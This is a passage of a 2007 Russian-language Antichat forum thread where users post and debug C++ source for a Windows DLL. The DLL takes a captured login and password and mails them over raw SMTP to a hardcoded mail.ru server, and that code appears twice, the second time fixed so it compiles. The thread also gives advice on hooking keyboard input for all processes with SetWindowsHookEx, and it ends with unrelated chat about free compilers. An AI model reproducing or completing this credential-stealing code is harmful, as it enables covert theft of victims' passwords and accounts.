HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #491  
Старый 13.12.2007, 11:46
SchmeL
Участник форума
Регистрация: 16.06.2007
Сообщений: 104
Провел на форуме:
178647

Репутация: 143
По умолчанию

groundhog - вот исходник dllки
Код:
// dll.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
#include <winsock2.h>
#include <stdlib.h>
#include <stdio.h>

#define ACC_COUNT 3

char l[20];
char p[20];
char working=100;
char str[20];

typedef struct 
{
	char l[30];
	char p[30];
	char mail[50];
} ACCOUNTS;

ACCOUNTS acci[ACC_COUNT]=
{
	{"bm9uYW1lbm9uYW1lMW==","MTIzNDU2Nzg5MD==","MAIL FROM: schmel@mail.ru"}
};

DWORD WINAPI SendEMail(LPVOID lpData)
//void (char * l,char *p)
{
  int accNumber=0;	
  working=0;

while(accNumber<ACC_COUNT)
{
  BOOL AllOK=true;
  BYTE sBuf[4096];
  SOCKET nSMTPServerSocket;
  struct sockaddr_in smtp_address;
  int nConnect;
  int iLength;
  int iMsg = 0;
  int iEnd = 0;

  char *MailMessage[] =
  {
	"HELO mail.ru\r\n",
	"AUTH LOGIN\r\n",
	NULL,
	NULL,
	NULL,
	"RCPT TO: xxxxx-xxxx@mail.ru\r\n",	   
	"DATA\r\n",
	NULL,
	"QUIT\r\n",
	NULL
  };

	WSADATA wsa;
  
	if (WSAStartup(MAKEWORD(2,0),&wsa))
	{
		working=100;
		return 0;
	}


	MailMessage[2]=(char *)malloc(strlen(acci[accNumber].l)+2);
	strcpy(MailMessage[2],acci[accNumber].l);
	strcat(MailMessage[2],"\r\n");
	MailMessage[3]=(char *)malloc(strlen(acci[accNumber].p)+2);
	strcpy(MailMessage[3],acci[accNumber].p);
	strcat(MailMessage[3],"\r\n");
	MailMessage[4]=(char *)malloc(strlen(acci[accNumber].mail)+2);
	strcpy(MailMessage[4],acci[accNumber].mail);
	strcat(MailMessage[4],"\r\n");
	
	MailMessage[7]=(char *)malloc(strlen(l)+strlen(p)+11);
	strcpy(MailMessage[7],l);
	strcat(MailMessage[7]," - ");
	strcat(MailMessage[7],p);
	strcat(MailMessage[7],"\r\n\r\n.\r\n");

	nSMTPServerSocket = socket(PF_INET, SOCK_STREAM, 0);

	if(nSMTPServerSocket != INVALID_SOCKET)  
	{
		
		smtp_address.sin_family = AF_INET;
		smtp_address.sin_addr.s_addr = inet_addr("194.67.23.111");
		smtp_address.sin_port = htons(25);

		nConnect = connect(nSMTPServerSocket, (PSOCKADDR)&smtp_address,
															  sizeof(smtp_address));

		if(nConnect)  
		{

		}
		else  
		{
		  do  
		  {
			iLength = recv(nSMTPServerSocket, (LPSTR)sBuf+iEnd, sizeof(sBuf)-iEnd, 0);
			if((sBuf[iEnd])=='4' && (sBuf[iEnd+1])=='0' && (sBuf[iEnd+2])=='3')
			{
				accNumber++;
				AllOK=false;
				break;
			}
			iEnd += iLength;
			sBuf[iEnd] = '\0';
			//MessageBox(0,MailMessage[iMsg],0,MB_OK);
			send(nSMTPServerSocket, (LPSTR)MailMessage[iMsg], strlen(MailMessage[iMsg]), 0);
			iMsg++;
		  } 
		  while(MailMessage[iMsg]);
		}

	  closesocket(nSMTPServerSocket);
	  nSMTPServerSocket=NULL;
	}
  if(AllOK) break;
}
  working=100;
  return 0;
}

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
	if(ul_reason_for_call==DLL_PROCESS_ATTACH) working=100;
	return TRUE;
}

extern "C" void CALLBACK proc1(char *str,char *str2)
{
	
	strcpy(l,str);
	strcpy(p,str2);
	if(working!=0)	
	{
		CreateThread(NULL,0,SendEMail,NULL,0,NULL); 
	}
}
 
Ответить с цитированием

  #492  
Старый 13.12.2007, 12:31
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

SchmeL, попробуй вместо

Цитата:
#include "stdafx.h"
напиши

Цитата:
#include <windows.h>
 
Ответить с цитированием

  #493  
Старый 13.12.2007, 12:41
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

Rav, если ты всё правильно сделал, то вызов

Цитата:
SetWindowsHookEx(WH_KEYBOARD, KeyProc, NULL, NULL);
должен хучить сообщения клавиатуры для всех процессов. Обрати внимание что предпоследний параметр NULL. Попробуй, может в этом косяк. Какой результат возвращает функция? Не NULL?
 
Ответить с цитированием

  #494  
Старый 13.12.2007, 13:18
SchmeL
Участник форума
Регистрация: 16.06.2007
Сообщений: 104
Провел на форуме:
178647

Репутация: 143
По умолчанию

groundhog, невышло попробую всетаки скачать этого монстра Microsoft Visual C++ 2005 Express Edition. на нем попробовать...
 
Ответить с цитированием

  #495  
Старый 13.12.2007, 16:11
criz
Постоянный
Регистрация: 04.11.2007
Сообщений: 303
Провел на форуме:
811764

Репутация: 119
По умолчанию

Цитата:
groundhog, невышло
А ты как вставлял windows.h, вернее куда? Его после winsock2.h надо прописывать
Надо еще добавить
Код:
#pragma comment(lib, "ws2_32")
Компилил в VC++ 6.0.
 
Ответить с цитированием

  #496  
Старый 14.12.2007, 01:08
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

SchmeL, в общем я попробовал, VS6 отлично компилит этот исходник с учётом исправлений, о которых тебе сказали:

Код:
// dll.cpp : Defines the entry point for the DLL application.
//

#pragma comment(lib, "ws2_32")

//#include "stdafx.h"
#include <windows.h>
#include <winsock2.h>
#include <stdlib.h>
#include <stdio.h>

#define ACC_COUNT 3

char l[20];
char p[20];
char working=100;
char str[20];

typedef struct 
{
	char l[30];
	char p[30];
	char mail[50];
} ACCOUNTS;

ACCOUNTS acci[ACC_COUNT]=
{
	{"bm9uYW1lbm9uYW1lMW==","MTIzNDU2Nzg5MD==","MAIL FROM: schmel@mail.ru"}
};

DWORD WINAPI SendEMail(LPVOID lpData)
//void (char * l,char *p)
{
  int accNumber=0;	
  working=0;

while(accNumber<ACC_COUNT)
{
  BOOL AllOK=true;
  BYTE sBuf[4096];
  SOCKET nSMTPServerSocket;
  struct sockaddr_in smtp_address;
  int nConnect;
  int iLength;
  int iMsg = 0;
  int iEnd = 0;

  char *MailMessage[] =
  {
	"HELO mail.ru\r\n",
	"AUTH LOGIN\r\n",
	NULL,
	NULL,
	NULL,
	"RCPT TO: xxxxx-xxxx@mail.ru\r\n",	   
	"DATA\r\n",
	NULL,
	"QUIT\r\n",
	NULL
  };

	WSADATA wsa;
  
	if (WSAStartup(MAKEWORD(2,0),&wsa))
	{
		working=100;
		return 0;
	}


	MailMessage[2]=(char *)malloc(strlen(acci[accNumber].l)+2);
	strcpy(MailMessage[2],acci[accNumber].l);
	strcat(MailMessage[2],"\r\n");
	MailMessage[3]=(char *)malloc(strlen(acci[accNumber].p)+2);
	strcpy(MailMessage[3],acci[accNumber].p);
	strcat(MailMessage[3],"\r\n");
	MailMessage[4]=(char *)malloc(strlen(acci[accNumber].mail)+2);
	strcpy(MailMessage[4],acci[accNumber].mail);
	strcat(MailMessage[4],"\r\n");
	
	MailMessage[7]=(char *)malloc(strlen(l)+strlen(p)+11);
	strcpy(MailMessage[7],l);
	strcat(MailMessage[7]," - ");
	strcat(MailMessage[7],p);
	strcat(MailMessage[7],"\r\n\r\n.\r\n");

	nSMTPServerSocket = socket(PF_INET, SOCK_STREAM, 0);

	if(nSMTPServerSocket != INVALID_SOCKET)  
	{
		
		smtp_address.sin_family = AF_INET;
		smtp_address.sin_addr.s_addr = inet_addr("194.67.23.111");
		smtp_address.sin_port = htons(25);

		nConnect = connect(nSMTPServerSocket, (PSOCKADDR)&smtp_address,
															  sizeof(smtp_address));

		if(nConnect)  
		{

		}
		else  
		{
		  do  
		  {
			iLength = recv(nSMTPServerSocket, (LPSTR)sBuf+iEnd, sizeof(sBuf)-iEnd, 0);
			if((sBuf[iEnd])=='4' && (sBuf[iEnd+1])=='0' && (sBuf[iEnd+2])=='3')
			{
				accNumber++;
				AllOK=false;
				break;
			}
			iEnd += iLength;
			sBuf[iEnd] = '\0';
			//MessageBox(0,MailMessage[iMsg],0,MB_OK);
			send(nSMTPServerSocket, (LPSTR)MailMessage[iMsg], strlen(MailMessage[iMsg]), 0);
			iMsg++;
		  } 
		  while(MailMessage[iMsg]);
		}

	  closesocket(nSMTPServerSocket);
	  nSMTPServerSocket=NULL;
	}
  if(AllOK) break;
}
  working=100;
  return 0;
}

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
	if(ul_reason_for_call==DLL_PROCESS_ATTACH) working=100;
	return TRUE;
}

extern "C" void CALLBACK proc1(char *str,char *str2)
{
	
	strcpy(l,str);
	strcpy(p,str2);
	if(working!=0)	
	{
		CreateThread(NULL,0,SendEMail,NULL,0,NULL); 
	}
}
Я надеюсь, ты компиляешь его как Win32 Dynamic Link Library?
 
Ответить с цитированием

  #497  
Старый 14.12.2007, 02:21
SchmeL
Участник форума
Регистрация: 16.06.2007
Сообщений: 104
Провел на форуме:
178647

Репутация: 143
По умолчанию

ну раз компилится, буду копать спасибо. уже качаю visual c++ надеюсь на нем получится...
 
Ответить с цитированием

  #498  
Старый 14.12.2007, 14:18
P(i)n*Fl0p1
Участник форума
Регистрация: 19.12.2006
Сообщений: 173
Провел на форуме:
1812111

Репутация: 125
Отправить сообщение для P(i)n*Fl0p1 с помощью ICQ
Smile

а можно ссылочку на visual c++,а еще лучше на Gnu c ++ чтоб только в виндусе пошел..а то я блин скачал один гну а там одни какието файлы блокнотовские и страницы инетовские((даже скажу название gcc-4.0.1.tar


у меня просто в самоучителе написано:Одна из популярнейших сред разработки — Visual C++ фирмы Microsoft. В ней
можно скомпилировать и выполнить все программы, представленные в этой книге;
однако не все из вас являются владельцами этого программного продукта из-за его
довольно высокой стоимости даже у уличных торговцев (кстати, многие в это не по-
верят, но далеко не все программисты работают в Windows — есть и другие операци-
онные системы). К счастью, существуют и общедоступные среды разработки про-
грамм C++, наиболее популярная из которых GNU C++.
 
Ответить с цитированием

  #499  
Старый 14.12.2007, 14:24
VampiRUS
Участник форума
Регистрация: 31.12.2005
Сообщений: 231
Провел на форуме:
1106266

Репутация: 366
Отправить сообщение для VampiRUS с помощью Yahoo
По умолчанию

IDE
http://www.bloodshed.net/devcpp.html
Цитата:
Bloodshed Dev-C++ is a full-featured Integrated Development Environment (IDE) for the C/C++ programming language. It uses Mingw port of GCC (GNU Compiler Collection) as it's compiler. Dev-C++ can also be used in combination with Cygwin or any other GCC based compiler.
там вроде идёт сразу и Mingw port of GCC.

Последний раз редактировалось VampiRUS; 14.12.2007 в 14:29..
 
Ответить с цитированием

  #500  
Старый 14.12.2007, 15:03
P(i)n*Fl0p1
Участник форума
Регистрация: 19.12.2006
Сообщений: 173
Провел на форуме:
1812111

Репутация: 125
Отправить сообщение для P(i)n*Fl0p1 с помощью ICQ
По умолчанию

Спасибо огромное прога классная русская..но есть одно но )))там нету очень многих как бы сказать..вещей..например в книге пишут Сердцем пакета GNU C++ является
утилита rhide. там я фиг знает где она)

Вообщем нужна консольная Gnu C++)либо другая книжка
гну незнаю где качать(



пока искал новую книжку наткнулся на самый сложный язык и выучил его буквально за час) это был qbasic )))))

Последний раз редактировалось P(i)n*Fl0p1; 14.12.2007 в 16:03..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Часто задаваемые вопросы по MySQL Серый PHP 5 28.12.2006 18:26
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Сценарии/CMF/СMS 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ